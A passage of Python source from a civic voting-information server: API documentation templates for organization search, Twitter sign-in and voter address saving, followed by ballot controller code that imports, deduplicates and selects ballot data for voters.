potential_status_codes_list, } return template_values ``` #### File: apis_v1/documentation_source/organization_search_doc.py ```python def organization_search_doc_template_values(url_root): """ Show documentation about organizationSearch """ required_query_parameter_list = [ { 'name': 'voter_device_id', 'value': 'string', # boolean, integer, long, string 'description': 'An 88 character unique identifier linked to a voter record on the server', }, { 'name': 'api_key', 'value': 'string (from post, cookie, or get (in that order))', # boolean, integer, long, string 'description': 'The unique key provided to any organization using the WeVoteServer APIs', }, ] optional_query_parameter_list = [ { 'name': 'organization_name', 'value': 'string', # boolean, integer, long, string 'description': 'Name of the organization that is displayed.', }, { 'name': 'organization_email', 'value': 'string', # boolean, integer, long, string 'description': 'Contact email of the organization.', }, { 'name': 'organization_website', 'value': 'string', # boolean, integer, long, string 'description': 'Website of the organization.', }, { 'name': 'organization_twitter_handle', 'value': 'string', # boolean, integer, long, string 'description': 'Twitter handle of the organization.', }, ] potential_status_codes_list = [ { 'code': 'VALID_VOTER_DEVICE_ID_MISSING', 'description': 'Cannot proceed. A valid voter_device_id parameter was not included.', }, { 'code': 'VALID_VOTER_ID_MISSING', 'description': 'Cannot proceed. A valid voter_id was not found.', }, { 'code': 'ORGANIZATION_SEARCH_ALL_TERMS_MISSING', 'description': 'Cannot proceed. No search terms were provided.', }, { 'code': 'ORGANIZATIONS_RETRIEVED', 'description': 'Successfully returned a list of organizations that match search query.', }, { 'code': 'NO_ORGANIZATIONS_RETRIEVED', 'description': 'Successfully searched, but no organizations found that match search query.', }, ] try_now_link_variables_dict = { # 'organization_we_vote_id': 'wv85org1', } api_response = '{\n' \ ' "status": string,\n' \ ' "success": boolean,\n' \ ' "voter_device_id": string (88 characters long),\n' \ ' "organization_email": string (the original search term passed in),\n' \ ' "organization_name": string (the original search term passed in),\n' \ ' "organization_twitter_handle": string (the original search term passed in),\n' \ ' "organization_website": string (the original search term passed in),\n' \ ' "organizations_list": list\n' \ ' [\n' \ ' "organization_id": integer,\n' \ ' "organization_we_vote_id": string,\n' \ ' "organization_name": string,\n' \ ' "organization_twitter_handle": string,\n' \ ' "organization_facebook": string,\n' \ ' "organization_email": string,\n' \ ' "organization_website": string,\n' \ ' ],\n' \ '}' template_values = { 'api_name': 'organizationSearch', 'api_slug': 'organizationSearch', 'api_introduction': "Find a list of all organizations that match any of the search terms.", 'try_now_link': 'apis_v1:organizationSearchView', 'try_now_link_variables_dict': try_now_link_variables_dict, 'url_root': url_root, 'get_or_post': 'GET', 'required_query_parameter_list': required_query_parameter_list, 'optional_query_parameter_list': optional_query_parameter_list, 'api_response': api_response, 'api_response_notes': "", 'potential_status_codes_list': potential_status_codes_list, } return template_values ``` #### File: apis_v1/documentation_source/twitter_sign_in_request_voter_info_doc.py ```python def twitter_sign_in_request_voter_info_doc_template_values(url_root): """ Show documentation about twitterSignInRequestVoterInfo """ required_query_parameter_list = [ { 'name': 'voter_device_id', 'value': 'string', # boolean, integer, long, string 'description': 'An 88 character unique identifier linked to a voter record on the server', }, { 'name': 'return_url', 'value': 'string', # boolean, integer, long, string 'description': 'The URL where the browser should be redirected once authenticated. ' 'Usually https://wevote.me/more/sign_in', }, { 'name': 'api_key', 'value': 'string (from post, cookie, or get (in that order))', # boolean, integer, long, string 'description': 'The unique key provided to any organization using the WeVoteServer APIs', }, ] optional_query_parameter_list = [ { 'name': 'switch_accounts_if_needed', 'value': 'boolean', # boolean, integer, long, string 'description': 'If a We Vote account already exists for this Twitter handle, create new session tied to' ' that account. If this variable not passed in, defaults to true.', }, ] potential_status_codes_list = [ { 'code': 'VALID_VOTER_DEVICE_ID_MISSING', 'description': 'Cannot proceed. A valid voter_device_id parameter was not included.', }, { 'code': 'VALID_VOTER_ID_MISSING', 'description': 'Cannot proceed. A valid voter_id was not found.', }, ] try_now_link_variables_dict = { } api_response = '{\n' \ ' "status": string,\n' \ ' "success": boolean,\n' \ ' "voter_device_id": string (88 characters long),\n' \ ' "twitter_handle": string,\n' \ ' "twitter_handle_found": boolean,\n' \ ' "voter_info_retrieved": boolean,\n' \ ' "switch_accounts": boolean,\n' \ ' "return_url": string, (This is the final url to return to once authentication is complete. ' \ 'If set, the twitterSignInRequestAccessToken api redirects to the twitterSignInRequestVoterInfo ' \ 'api before redirecting to the value in return_url)\n' \ '}' template_values = { 'api_name': 'twitterSignInRequestVoterInfo', 'api_slug': 'twitterSignInRequestVoterInfo', 'api_introduction': "Flow chart showing entire process here: " "https://docs.google.com/drawings/d/1WdVFsPZl3aLM9wxGuPTW3veqP-5EmZKv36KWjTz5pbU/edit", 'try_now_link': 'apis_v1:twitterSignInRequestVoterInfoView', 'try_now_link_variables_dict': try_now_link_variables_dict, 'url_root': url_root, 'get_or_post': 'GET', 'required_query_parameter_list': required_query_parameter_list, 'optional_query_parameter_list': optional_query_parameter_list, 'api_response': api_response, 'api_response_notes': "", 'potential_status_codes_list': potential_status_codes_list, } return template_values ``` #### File: apis_v1/documentation_source/voter_address_save_doc.py ```python def voter_address_save_doc_template_values(url_root): """ Show documentation about voterAddressSave """ required_query_parameter_list = [ { 'name': 'api_key', 'value': 'string (from post, cookie, or get (in that order))', # boolean, integer, long, string 'description': 'The unique key provided to any organization using the WeVoteServer APIs', }, { 'name': 'voter_device_id', 'value': 'string', # boolean, integer, long, string 'description': 'An 88 character unique identifier linked to a voter record on the server', }, { 'name': 'text_for_map_search', 'value': 'string', # boolean, integer, long, string 'description': 'The address text a voter enters to identify the location tied to their ballot. ' '(Not mailing address.)', }, ] optional_query_parameter_list = [ # { # 'name': '', # 'value': '', # boolean, integer, long, string # 'description': '', # }, ] potential_status_codes_list = [ { 'code': 'VALID_VOTER_DEVICE_ID_MISSING', 'description': 'Cannot proceed. A valid voter_device_id parameter was not included.', }, { 'code': 'MISSING_VOTER_ID_OR_ADDRESS_TYPE', 'description': 'Cannot proceed. Missing variables voter_id or address_type while trying to save.', }, { 'code': 'VOTER_ADDRESS_SAVED', 'description': 'Successfully saved', }, { 'code': 'MULTIPLE_MATCHING_ADDRESSES_FOUND', 'description': 'Could not save. Multiple entries already saved.', }, { 'code': 'MISSING_POST_VARIABLE-ADDRESS', 'description': 'Could not save. POST variable \'address\' is required.', }, ] try_now_link_variables_dict = { # 'organization_we_vote_id': 'wv85org1', } api_response = '{\n' \ ' "status": string,\n' \ ' "success": boolean,\n' \ ' "voter_device_id": string (88 characters long),\n' \ ' "google_civic_election_id": integer,\n' \ ' "text_for_map_search": string,\n' \ ' "substituted_address_nearby": string,\n' \ ' "ballot_found": boolean,\n' \ ' "ballot_caveat": string,\n' \ ' "is_from_substituted_address": boolean,\n' \ ' "is_from_test_ballot": boolean,\n' \ ' "ballot_item_list": list\n' \ ' [\n' \ ' "ballot_item_display_name": string,\n' \ ' "voter_id": integer,\n' \ ' "google_civic_election_id": integer,\n' \ ' "google_ballot_placement": integer,\n' \ ' "local_ballot_order": integer,\n' \ ' "kind_of_ballot_item": string (CANDIDATE, MEASURE),\n' \ ' "id": integer,\n' \ ' "we_vote_id": string,\n' \ ' "candidate_list": list\n' \ ' [\n' \ ' "id": integer,\n' \ ' "we_vote_id": string,\n' \ ' "ballot_item_display_name": string,\n' \ ' "candidate_photo_url": string,\n' \ ' "party": string,\n' \ ' "order_on_ballot": integer,\n' \ ' ],\n' \ ' ],\n' \ '}' template_values = { 'api_name': 'voterAddressSave', 'api_slug': 'voterAddressSave', 'api_introduction': "Save or create an address for the current voter. Then return the same results as we return with " "voterBallotItemsRetrieve.", 'try_now_link': 'apis_v1:voterAddressSaveView', 'try_now_link_variables_dict': try_now_link_variables_dict, 'url_root': url_root, 'get_or_post': 'GET', 'required_query_parameter_list': required_query_parameter_list, 'optional_query_parameter_list': optional_query_parameter_list, 'api_response': api_response, 'api_response_notes': "", 'potential_status_codes_list': potential_status_codes_list, } return template_values ``` #### File: WeVoteServer/ballot/controllers.py ```python from .models import BallotItemListManager, BallotItemManager, BallotReturnedListManager, BallotReturnedManager, \ CANDIDATE, copy_existing_ballot_items_from_stored_ballot, OFFICE, MEASURE, \ VoterBallotSaved, VoterBallotSavedManager from candidate.models import CandidateCampaignListManager from config.base import get_environment_variable from datetime import datetime from django.contrib import messages from election.models import ElectionManager from exception.models import handle_exception from import_export_google_civic.controllers import voter_ballot_items_retrieve_from_google_civic_for_api import json from measure.models import ContestMeasureList from office.models import ContestOfficeListManager from polling_location.models import PollingLocationManager import requests from voter.models import BALLOT_ADDRESS, VoterAddressManager, \ VoterDeviceLinkManager import wevote_functions.admin from wevote_functions.functions import convert_to_int, positive_value_exists logger = wevote_functions.admin.get_logger(__name__) GOOGLE_CIVIC_API_KEY = get_environment_variable("GOOGLE_CIVIC_API_KEY") WE_VOTE_API_KEY = get_environment_variable("WE_VOTE_API_KEY") BALLOT_ITEMS_SYNC_URL = get_environment_variable("BALLOT_ITEMS_SYNC_URL") BALLOT_RETURNED_SYNC_URL = get_environment_variable("BALLOT_RETURNED_SYNC_URL") def ballot_items_import_from_master_server(request, google_civic_election_id): """ Get the json data, and either create new entries or update existing :return: """ # Request json file from We Vote servers messages.add_message(request, messages.INFO, "Loading Ballot Items from We Vote Master servers") logger.info("Loading Ballot Items from We Vote Master servers") request = requests.get(BALLOT_ITEMS_SYNC_URL, params={ "key": WE_VOTE_API_KEY, # This comes from an environment variable "format": 'json', "google_civic_election_id": google_civic_election_id, }) structured_json = json.loads(request.text) results = filter_ballot_items_structured_json_for_local_duplicates(structured_json) filtered_structured_json = results['structured_json'] duplicates_removed = results['duplicates_removed'] import_results = ballot_items_import_from_structured_json(filtered_structured_json) import_results['duplicates_removed'] = duplicates_removed return import_results def ballot_returned_import_from_master_server(request, google_civic_election_id): """ Get the json data, and either create new entries or update existing :return: """ # Request json file from We Vote servers messages.add_message(request, messages.INFO, "Loading Ballot Returned entries (saved ballots, specific to one " "location) from We Vote Master servers") logger.info("Loading Ballot Returned entries (saved ballots, specific to one location) from We Vote Master servers") request = requests.get(BALLOT_RETURNED_SYNC_URL, params={ "key": WE_VOTE_API_KEY, # This comes from an environment variable "format": 'json', "google_civic_election_id": google_civic_election_id, }) structured_json = json.loads(request.text) results = filter_ballot_returned_structured_json_for_local_duplicates(structured_json) filtered_structured_json = results['structured_json'] duplicates_removed = results['duplicates_removed'] import_results = ballot_returned_import_from_structured_json(filtered_structured_json) import_results['duplicates_removed'] = duplicates_removed return import_results def filter_ballot_items_structured_json_for_local_duplicates(structured_json): """ With this function, we remove ballot_items that seem to be duplicates, but have different we_vote_id's. We do not check to see if we have a matching office or measure in the database this routine -- that is done elsewhere. :param structured_json: :return: """ duplicates_removed = 0 filtered_structured_json = [] ballot_item_list_manager = BallotItemListManager() for one_ballot_item in structured_json: ballot_item_display_name = one_ballot_item['ballot_item_display_name'] \ if 'ballot_item_display_name' in one_ballot_item else '' google_civic_election_id = one_ballot_item['google_civic_election_id'] \ if 'google_civic_election_id' in one_ballot_item else '' polling_location_we_vote_id = one_ballot_item['polling_location_we_vote_id'] \ if 'polling_location_we_vote_id' in one_ballot_item else '' contest_office_we_vote_id = one_ballot_item['contest_office_we_vote_id'] \ if 'contest_office_we_vote_id' in one_ballot_item else '' contest_measure_we_vote_id = one_ballot_item['contest_measure_we_vote_id'] \ if 'contest_measure_we_vote_id' in one_ballot_item else '' # Check to see if there is an entry that matches in all critical ways, minus the # contest_office_we_vote_id or contest_measure_we_vote_id. That is, an entry for a # google_civic_election_id + polling_location_we_vote_id that has the same ballot_item_display_name, # but different contest_office_we_vote_id or contest_measure_we_vote_id results = ballot_item_list_manager.retrieve_possible_duplicate_ballot_items( ballot_item_display_name, google_civic_election_id, polling_location_we_vote_id, contest_office_we_vote_id, contest_measure_we_vote_id) if results['ballot_item_list_found']: # There seems to be a duplicate already in this database using a different we_vote_id duplicates_removed += 1 else: filtered_structured_json.append(one_ballot_item) ballot_items_results = { 'success': True, 'status': "FILTER_BALLOT_ITEMS_FOR_DUPLICATES_PROCESS_COMPLETE", 'duplicates_removed': duplicates_removed, 'structured_json': filtered_structured_json, } return ballot_items_results def filter_ballot_returned_structured_json_for_local_duplicates(structured_json): """ With this function, we remove ballot_returned entries that seem to be duplicates, but have different polling_location_we_vote_id's. We do not check to see if we have a local entry for polling_location_we_vote_id -- that is done elsewhere. :param structured_json: :return: """ duplicates_removed = 0 filtered_structured_json = [] ballot_returned_list_manager = BallotReturnedListManager() for one_ballot_returned in structured_json: polling_location_we_vote_id = one_ballot_returned['polling_location_we_vote_id'] \ if 'polling_location_we_vote_id' in one_ballot_returned else '' google_civic_election_id = \ one_ballot_returned['google_civic_election_id'] if 'google_civic_election_id' in one_ballot_returned else '' normalized_line1 = one_ballot_returned['normalized_line1'] if 'normalized_line1' in one_ballot_returned else '' normalized_zip = one_ballot_returned['normalized_zip'] if 'normalized_zip' in one_ballot_returned else '' # Check to see if there is an entry that matches in all critical ways, minus the polling_location_we_vote_id results = ballot_returned_list_manager.retrieve_possible_duplicate_ballot_returned( google_civic_election_id, normalized_line1, normalized_zip, polling_location_we_vote_id) if results['ballot_returned_list_found']: # There seems to be a duplicate already in this database using a different we_vote_id duplicates_removed += 1 else: filtered_structured_json.append(one_ballot_returned) ballot_returned_results = { 'success': True, 'status': "FILTER_BALLOT_RETURNED_ITEMS_FOR_DUPLICATES_PROCESS_COMPLETE", 'duplicates_removed': duplicates_removed, 'structured_json': filtered_structured_json, } return ballot_returned_results def ballot_items_import_from_structured_json(structured_json): """ This pathway in requires a we_vote_id, and is not used when we import from Google Civic :param structured_json: :return: """ ballot_item_manager = BallotItemManager() ballot_items_saved = 0 ballot_items_updated = 0 ballot_items_not_processed = 0 for one_ballot_item in structured_json: polling_location_we_vote_id = one_ballot_item['polling_location_we_vote_id'] \ if 'polling_location_we_vote_id' in one_ballot_item else '' google_civic_election_id = \ one_ballot_item['google_civic_election_id'] if 'google_civic_election_id' in one_ballot_item else '' contest_office_we_vote_id = one_ballot_item['contest_office_we_vote_id'] \ if 'contest_office_we_vote_id' in one_ballot_item else '' contest_measure_we_vote_id = one_ballot_item['contest_measure_we_vote_id'] \ if 'contest_measure_we_vote_id' in one_ballot_item else '' if positive_value_exists(polling_location_we_vote_id) and positive_value_exists(google_civic_election_id) \ and (positive_value_exists(contest_office_we_vote_id) or positive_value_exists(contest_measure_we_vote_id)): # We check to make sure we have a local copy of this polling_location, contest_office or contest_measure # in ballot_item_manager.update_or_create_ballot_item_for_polling_location proceed_to_update_or_create = True else: proceed_to_update_or_create = False if proceed_to_update_or_create: ballot_item_display_name = one_ballot_item['ballot_item_display_name'] \ if 'ballot_item_display_name' in one_ballot_item else '' measure_subtitle = one_ballot_item['measure_subtitle'] if 'measure_subtitle' in one_ballot_item else 0 google_ballot_placement = one_ballot_item['google_ballot_placement'] \ if 'google_ballot_placement' in one_ballot_item else 0 local_ballot_order = one_ballot_item['local_ballot_order'] \ if 'local_ballot_order' in one_ballot_item else '' contest_office_id = 0 contest_measure_id = 0 results = ballot_item_manager.update_or_create_ballot_item_for_polling_location( polling_location_we_vote_id, google_civic_election_id, google_ballot_placement, ballot_item_display_name, measure_subtitle, local_ballot_order, contest_office_id, contest_office_we_vote_id, contest_measure_id, contest_measure_we_vote_id) else: ballot_items_not_processed += 1 results = { 'success': False, 'status': 'Required value missing, cannot update or create' } if results['success']: if results['new_ballot_item_created']: ballot_items_saved += 1 else: ballot_items_updated += 1 else: ballot_items_not_processed += 1 ballot_items_results = { 'success': True, 'status': "ballot_items_IMPORT_PROCESS_COMPLETE", 'saved': ballot_items_saved, 'updated': ballot_items_updated, 'not_processed': ballot_items_not_processed, } return ballot_items_results def ballot_returned_import_from_structured_json(structured_json): """ This pathway in requires a we_vote_id, and is not used when we import from Google Civic :param structured_json: :return: """ ballot_returned_manager = BallotReturnedManager() polling_location_manager = PollingLocationManager() ballot_returned_saved = 0 ballot_returned_updated = 0 ballot_returned_not_processed = 0 for one_ballot_returned in structured_json: google_civic_election_id = \ one_ballot_returned['google_civic_election_id'] if 'google_civic_election_id' in one_ballot_returned else 0 polling_location_we_vote_id = one_ballot_returned['polling_location_we_vote_id'] \ if 'polling_location_we_vote_id' in one_ballot_returned else '' # I don't think we expect voter_id to be other than 0 since we only import ballot_returned entries from # polling_locations voter_id = one_ballot_returned['voter_id'] if 'voter_id' in one_ballot_returned else 0 if positive_value_exists(google_civic_election_id) and (positive_value_exists(polling_location_we_vote_id) or positive_value_exists(voter_id)): # Make sure we have a local polling_location results = polling_location_manager.retrieve_polling_location_by_id(0, polling_location_we_vote_id) if results['polling_location_found']: proceed_to_update_or_create = True else: # We don't want to save a ballot_returned entry if the polling location wasn't stored locally proceed_to_update_or_create = False else: proceed_to_update_or_create = False if proceed_to_update_or_create: election_date = one_ballot_returned['election_date'] if 'election_date' in one_ballot_returned else False election_description_text = one_ballot_returned['election_description_text'] \ if 'election_description_text' in one_ballot_returned else False latitude = one_ballot_returned['latitude'] if 'latitude' in one_ballot_returned else False longitude = one_ballot_returned['longitude'] if 'longitude' in one_ballot_returned else False normalized_city = one_ballot_returned['normalized_city'] \ if 'normalized_city' in one_ballot_returned else False normalized_line1 = one_ballot_returned['normalized_line1'] \ if 'normalized_line1' in one_ballot_returned else False normalized_line2 = one_ballot_returned['normalized_line2'] \ if 'normalized_line2' in one_ballot_returned else False normalized_state = one_ballot_returned['normalized_state'] \ if 'normalized_state' in one_ballot_returned else False normalized_zip = one_ballot_returned['normalized_zip'] \ if 'normalized_zip' in one_ballot_returned else False text_for_map_search = one_ballot_returned['text_for_map_search'] \ if 'text_for_map_search' in one_ballot_returned else False results = ballot_returned_manager.update_or_create_ballot_returned( polling_location_we_vote_id, voter_id, google_civic_election_id, election_date, election_description_text, latitude, longitude, normalized_city, normalized_line1, normalized_line2, normalized_state, normalized_zip, text_for_map_search) else: ballot_returned_not_processed += 1 results = { 'success': False, } if results['success']: if results['new_ballot_returned_created']: ballot_returned_saved += 1 else: ballot_returned_updated += 1 else: ballot_returned_not_processed += 1 status = "BALLOT_RETURNED_IMPORT_PROCESS_COMPLETED" ballot_returned_results = { 'success': True, 'status': status, 'saved': ballot_returned_saved, 'updated': ballot_returned_updated, 'not_processed': ballot_returned_not_processed, } return ballot_returned_results def figure_out_google_civic_election_id_voter_is_watching(voter_device_id): status = '' # We zero out this value since we will never have this coming in for this function google_civic_election_id = 0 # We retrieve voter_device_link voter_device_link_manager = VoterDeviceLinkManager() voter_device_link_results = voter_device_link_manager.retrieve_voter_device_link(voter_device_id) if not voter_device_link_results['voter_device_link_found']: status += "VALID_VOTER_DEVICE_ID_MISSING: " + voter_device_link_results['status'] results = { 'status': status, 'success': False, 'voter_device_id': voter_device_id, 'voter_device_link_found': False, 'voter_address_object_found': False, 'voter_ballot_saved_found': False, 'google_civic_election_id': 0, } return results voter_device_link = voter_device_link_results['voter_device_link'] voter_id = voter_device_link.voter_id if not positive_value_exists(voter_id): status += " " + "VALID_VOTER_ID_MISSING" results = { 'status': status, 'success': False, 'voter_device_id': voter_device_id, 'voter_device_link_found': False, 'voter_address_object_found': False, 'voter_ballot_saved_found': False, 'google_civic_election_id': 0, } return results voter_address_manager = VoterAddressManager() voter_address_id = 0 address_type = BALLOT_ADDRESS voter_address_results = voter_address_manager.retrieve_address(voter_address_id, voter_id, address_type) status += " " + voter_address_results['status'] if not positive_value_exists(voter_address_results['voter_address_has_value']): # If there isn't an address with a value, then there won't be a voter_ballot_saved_found results = { 'status': status, 'success': True, 'voter_device_id': voter_device_id, 'voter_device_link_found': False, 'voter_address_object_found': voter_address_results['voter_address_found'], 'voter_ballot_saved_found': False, 'google_civic_election_id': 0, } return results voter_address = voter_address_results['voter_address'] # This routine finds a ballot saved for this voter choose_election_results = choose_election_from_existing_data(voter_device_link, google_civic_election_id, voter_address) status += " " + choose_election_results['status'] results = { 'status': status, 'success': choose_election_results['success'], 'voter_device_id': voter_device_id, 'voter_device_link_found': True, 'voter_address_object_found': voter_address_results['voter_address_found'], 'voter_ballot_saved_found': choose_election_results['voter_ballot_saved_found'], 'google_civic_election_id': choose_election_results['google_civic_election_id'], } return results def voter_ballot_items_retrieve_for_api(voter_device_id, google_civic_election_id): status = '' # We retrieve voter_device_link voter_device_link_manager = VoterDeviceLinkManager() voter_device_link_results = voter_device_link_manager.retrieve_voter_device_link(voter_device_id) if not voter_device_link_results['voter_device_link_found']: status += "VALID_VOTER_DEVICE_ID_MISSING " error_json_data = { 'status': status, 'success': False, 'voter_device_id': voter_device_id, 'ballot_found': False, 'ballot_item_list': [], 'google_civic_election_id': google_civic_election_id, 'text_for_map_search': '', 'substituted_address_nearby': '', 'ballot_caveat': '', 'is_from_substituted_address': False, 'is_from_test_ballot': False, } return error_json_data voter_device_link = voter_device_link_results['voter_device_link'] voter_id = voter_device_link.voter_id if not positive_value_exists(voter_id): status += " " + "VALID_VOTER_ID_MISSING" error_json_data = { 'status': status, 'success': False, 'voter_device_id': voter_device_id, 'ballot_found': False, 'ballot_item_list': [], 'google_civic_election_id': google_civic_election_id, 'text_for_map_search': '', 'substituted_address_nearby': '', 'ballot_caveat': '', 'is_from_substituted_address': False, 'is_from_test_ballot': False, } return error_json_data voter_address_manager = VoterAddressManager() voter_address_id = 0 address_type = BALLOT_ADDRESS voter_address_results = voter_address_manager.retrieve_address(voter_address_id, voter_id, address_type) status += " " + voter_address_results['status'] if not positive_value_exists(voter_address_results['voter_address_has_value']): error_json_data = { 'status': status, 'success': voter_address_results['success'], 'voter_device_id': voter_device_id, 'ballot_found': False, 'ballot_item_list': [], 'google_civic_election_id': 0, 'text_for_map_search': '', 'substituted_address_nearby': '', 'ballot_caveat': '', 'is_from_substituted_address': False, 'is_from_test_ballot': False, } return error_json_data voter_address = voter_address_results['voter_address'] results = choose_election_and_prepare_ballot_data(voter_device_link, google_civic_election_id, voter_address) status += " " + results['status'] if not results['voter_ballot_saved_found']: if positive_value_exists(voter_address.text_for_map_search): ballot_caveat = "We could not find a ballot near '{text_for_map_search}'.".format( text_for_map_search=voter_address.text_for_map_search) else: ballot_caveat = "Please save your address so we can find your ballot." error_json_data = { 'status': status, 'success': True, 'voter_device_id': voter_device_id, 'ballot_found': False, 'ballot_item_list': [], 'google_civic_election_id': 0, 'text_for_map_search': voter_address.text_for_map_search, 'substituted_address_nearby': '', 'ballot_caveat': ballot_caveat, 'is_from_substituted_address': False, 'is_from_test_ballot': False, } return error_json_data google_civic_election_id = results['google_civic_election_id'] voter_ballot_saved = results['voter_ballot_saved'] # Update voter_device_link if voter_device_link.google_civic_election_id != google_civic_election_id: voter_device_link_manager.update_voter_device_link_with_election_id(voter_device_link, google_civic_election_id) # Update voter_address to include matching google_civic_election_id and voter_ballot_saved entry if positive_value_exists(google_civic_election_id): voter_address.google_civic_election_id = google_civic_election_id voter_address_manager.update_existing_voter_address_object(voter_address) # Get and return the ballot_item_list results = voter_ballot_items_retrieve_for_one_election_for_api(voter_device_id, voter_id, google_civic_election_id) if not positive_value_exists(voter_ballot_saved.election_description_text) \ or not positive_value_exists(voter_ballot_saved.election_date_text()): try: election_manager = ElectionManager() election_results = election_manager.retrieve_election(google_civic_election_id) if election_results['election_found']: election = election_results['election'] if not positive_value_exists(voter_ballot_saved.election_description_text): voter_ballot_saved.election_description_text = election.election_name if not positive_value_exists(voter_ballot_saved.election_date_text()): voter_ballot_saved.election_date = \ datetime.strptime(election.election_day_text, "%Y-%m-%d").date() voter_ballot_saved.save() except Exception as e: status += "Failed to update election_name" status += " " + results['status'] json_data = { 'status': status, 'success': True, 'voter_device_id': voter_device_id, 'ballot_found': True, 'ballot_item_list': results['ballot_item_list'], 'google_civic_election_id': google_civic_election_id, 'election_name': voter_ballot_saved.election_description_text, 'election_date': voter_ballot_saved.election_date_text(), 'text_for_map_search': voter_ballot_saved.original_text_for_map_search, 'substituted_address_nearby': voter_ballot_saved.substituted_address_nearby, 'ballot_caveat': voter_ballot_saved.ballot_caveat(), 'is_from_substituted_address': voter_ballot_saved.is_from_substituted_address, 'is_from_test_ballot': voter_ballot_saved.is_from_test_ballot, } return json_data status += " " + "NO_VOTER_BALLOT_SAVED_FOUND" error_json_data = { 'status': status, 'success': True, 'voter_device_id': voter_device_id, 'ballot_found': False, 'ballot_item_list': [], 'google_civic_election_id': 0, 'text_for_map_search': '', 'substituted_address_nearby': '', 'ballot_caveat': '', 'is_from_substituted_address': False, 'is_from_test_ballot': False, } return error_json_data def choose_election_and_prepare_ballot_data(voter_device_link, google_civic_election_id, voter_address): voter_id = voter_device_link.voter_id if not positive_value_exists(voter_id): results = { 'status': "VOTER_NOT_FOUND_FROM_VOTER_DEVICE_ID", 'success': False, 'google_civic_election_id': google_civic_election_id, 'voter_ballot_saved_found': False, 'voter_ballot_saved': None, } return results # This routine finds a ballot saved for this voter results = choose_election_from_existing_data(voter_device_link, google_civic_election_id, voter_address) if results['voter_ballot_saved_found']: # Return voter_ballot_saved return results # If here, then we need to either: # 1) Get ballot data from Google Civic for the actual VoterAddress # 2) Copy ballot data from a nearby address, previously retrieved from Google Civic and cached within We Vote, or # generated within We Vote (google_civic_election_id >= 1000000 # 3) Get test ballot data from Google Civic results = generate_ballot_data(voter_device_link, voter_address) if results['voter_ballot_saved_found']: # Return voter_ballot_saved return results results = { 'status': "BALLOT_NOT_FOUND_OR_GENERATED-SUFFICIENT_ADDRESS_PROBABLY_MISSING", 'success': True, 'google_civic_election_id': google_civic_election_id, 'voter_ballot_saved_found': False, 'voter_ballot_saved': None, } return results def generate_ballot_data(voter_device_link, voter_address): voter_device_id = voter_device_link.voter_device_id voter_id = voter_device_link.voter_id voter_ballot_saved_manager = VoterBallotSavedManager() if not positive_value_exists(voter_id): results = { 'status': "VOTER_NOT_FOUND_FROM_VOTER_DEVICE_ID", 'success': False, 'google_civic_election_id': 0, 'voter_ballot_saved_found': False, 'voter_ballot_saved': VoterBallotSaved() } return results # If a partial address doesn't exist, exit because we can't generate a ballot without an address if not positive_value_exists(voter_address.text_for_map_search): results = { 'status': "VOTER_ADDRESS_BLANK", 'success': True, 'google_civic_election_id': 0, 'voter_ballot_saved_found': False, 'voter_ballot_saved': None, } return results # 1) Get ballot data from Google Civic for the actual VoterAddress text_for_map_search = voter_address.text_for_map_search use_test_election = False results = voter_ballot_items_retrieve_from_google_civic_for_api(voter_device_id, text_for_map_search, use_test_election) if results['google_civic_election_id']: is_from_substituted_address = False substituted_address_nearby = '' is_from_test_address = False # We update the voter_address with this google_civic_election_id outside of this function # Save the meta information for this ballot data save_results = voter_ballot_saved_manager.create_voter_ballot_saved( voter_id, results['google_civic_election_id'], results['election_date_text'], results['election_description_text'], results['text_for_map_search'], substituted_address_nearby, is_from_substituted_address, is_from_test_address ) results = { 'status': save_results['status'], 'success': save_results['success'], 'google_civic_election_id': save_results['google_civic_election_id'], 'voter_ballot_saved_found': save_results['voter_ballot_saved_found'], 'voter_ballot_saved': save_results['voter_ballot_saved'], } return results # 2) Copy ballot data from a nearby address, previously retrieved from Google Civic and cached within We Vote copy_results = copy_existing_ballot_items_from_stored_ballot(voter_id, text_for_map_search) if copy_results['ballot_returned_copied']: is_from_substituted_address = True is_from_test_address = False save_results = voter_ballot_saved_manager.create_voter_ballot_saved( voter_id, copy_results['google_civic_election_id'], copy_results['election_date_text'], copy_results['election_description_text'], text_for_map_search, copy_results['substituted_address_nearby'], is_from_substituted_address, is_from_test_address ) results = { 'status': save_results['status'], 'success': save_results['success'], 'google_civic_election_id': save_results['google_civic_election_id'], 'voter_ballot_saved_found': save_results['voter_ballot_saved_found'], 'voter_ballot_saved': save_results['voter_ballot_saved'], } return results # 3) Get test ballot data from Google Civic use_test_election = True results = voter_ballot_items_retrieve_from_google_civic_for_api(voter_device_id, text_for_map_search, use_test_election) if results['google_civic_election_id']: is_from_substituted_address = False substituted_address_nearby = '' is_from_test_address = True # Since this is a test address, we don't want to save the google_civic_election_id (of 2000) # with the voter_address save_results = voter_ballot_saved_manager.create_voter_ballot_saved( voter_id, results['google_civic_election_id'], results['election_date_text'], results['election_description_text'], results['text_for_map_search'], substituted_address_nearby, is_from_substituted_address, is_from_test_address ) results = { 'status': save_results['status'], 'success': save_results['success'], 'google_civic_election_id': save_results['google_civic_election_id'], 'voter_ballot_saved_found': save_results['voter_ballot_saved_found'], 'voter_ballot_saved': save_results['voter_ballot_saved'], } return results results = { 'status': "UNABLE_TO_GENERATE_BALLOT_DATA", 'success': True, 'google_civic_election_id': 0, 'voter_ballot_saved_found': False, 'voter_ballot_saved': None, } return results def choose_election_from_existing_data(voter_device_link, google_civic_election_id, voter_address): voter_id = voter_device_link.voter_id voter_ballot_saved_manager = VoterBallotSavedManager() # If a google_civic_election_id was passed in, then we simply return the ballot that was saved if positive_value_exists(google_civic_election_id): voter_ballot_saved_results = voter_ballot_saved_manager.retrieve_voter_ballot_saved_by_voter_id( voter_id, google_civic_election_id) if voter_ballot_saved_results['voter_ballot_saved_found']: voter_ballot_saved = voter_ballot_saved_results['voter_ballot_saved'] results = { 'status': "", 'success': True, 'google_civic_election_id': voter_ballot_saved.google_civic_election_id, 'voter_ballot_saved_found': True, 'voter_ballot_saved': voter_ballot_saved } return results else: # If here, then we expected a VoterBallotSaved entry for this voter, but didn't find it pass if positive_value_exists(voter_device_link.google_civic_election_id): voter_ballot_saved_results = voter_ballot_saved_manager.retrieve_voter_ballot_saved_by_voter_id( voter_id, voter_device_link.google_civic_election_id) if voter_ballot_saved_results['voter_ballot_saved_found']: voter_ballot_saved = voter_ballot_saved_results['voter_ballot_saved'] results = { 'status': "VOTER_BALLOT_SAVED_FOUND_FROM_VOTER_DEVICE_LINK", 'success': True, 'google_civic_election_id': voter_ballot_saved.google_civic_election_id, 'voter_ballot_saved_found': True, 'voter_ballot_saved': voter_ballot_saved } return results else: # If here, then we expected a VoterBallotSaved entry, but didn't find it. Unable to repair the data 